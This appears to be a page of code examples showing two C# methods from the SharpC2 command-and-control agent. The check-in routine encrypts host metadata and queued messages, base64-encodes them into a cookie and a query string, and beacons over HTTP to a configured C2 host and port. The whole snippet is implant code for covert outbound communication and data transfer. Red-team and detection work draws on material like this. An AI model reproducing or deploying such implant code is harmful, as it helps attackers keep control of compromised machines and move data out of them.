Пример #1
0
        private void AgentCheckIn()
        {
            var host = Config.GetOption(ConfigSetting.ConnectHosts) as string;
            var port = Config.GetOption(ConfigSetting.ConnectPort) as string;

            var metadata          = Config.GetOption(ConfigSetting.Metadata) as AgentMetadata;
            var encryptedMetadata = Crypto.Encrypt(metadata);

            var client = new WebClient();

            client.Headers.Clear();
            client.Headers.Add("X-Malware", "SharpC2");
            client.Headers[HttpRequestHeader.Cookie] = string.Format("{0}={1}", "Metadata", Convert.ToBase64String(encryptedMetadata));

            client.DownloadDataCompleted += DownloadDataCallback;
            client.UploadDataCompleted   += UploadDataCallback;

            List <AgentMessage> agentMessages = new List <AgentMessage>();

            if (OutboundC2Data.Count > 0)
            {
                while (OutboundC2Data.Count != 0)
                {
                    agentMessages.Add(OutboundC2Data.Dequeue());
                }

                var encryptedAgentMessage = Crypto.Encrypt(agentMessages);
                var dataToSend            = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage));
                var uri = new Uri(string.Format("http://{0}:{1}", host, port));

                client.UploadDataAsync(uri, Encoding.UTF8.GetBytes(dataToSend));
            }
            else
            {
                agentMessages.Add(new AgentMessage
                {
                    IdempotencyKey = Guid.NewGuid().ToString(),
                    Metadata       = new AgentMetadata {
                        AgentID = metadata.AgentID
                    },
                    Data = new C2Data {
                        Module = "Core", Command = "AgentCheckIn"
                    }
                });

                var encryptedAgentMessage = Crypto.Encrypt(agentMessages);
                var dataToSend            = string.Format("Message={0}", Convert.ToBase64String(encryptedAgentMessage));
                var uri = new Uri(string.Format("http://{0}:{1}?{2}", host, port, dataToSend));

                client.DownloadDataAsync(uri);
            }

            client.Dispose();
        }
Пример #2
0
 public void SendData(AgentMessage message)
 {
     OutboundC2Data.Enqueue(message);
 }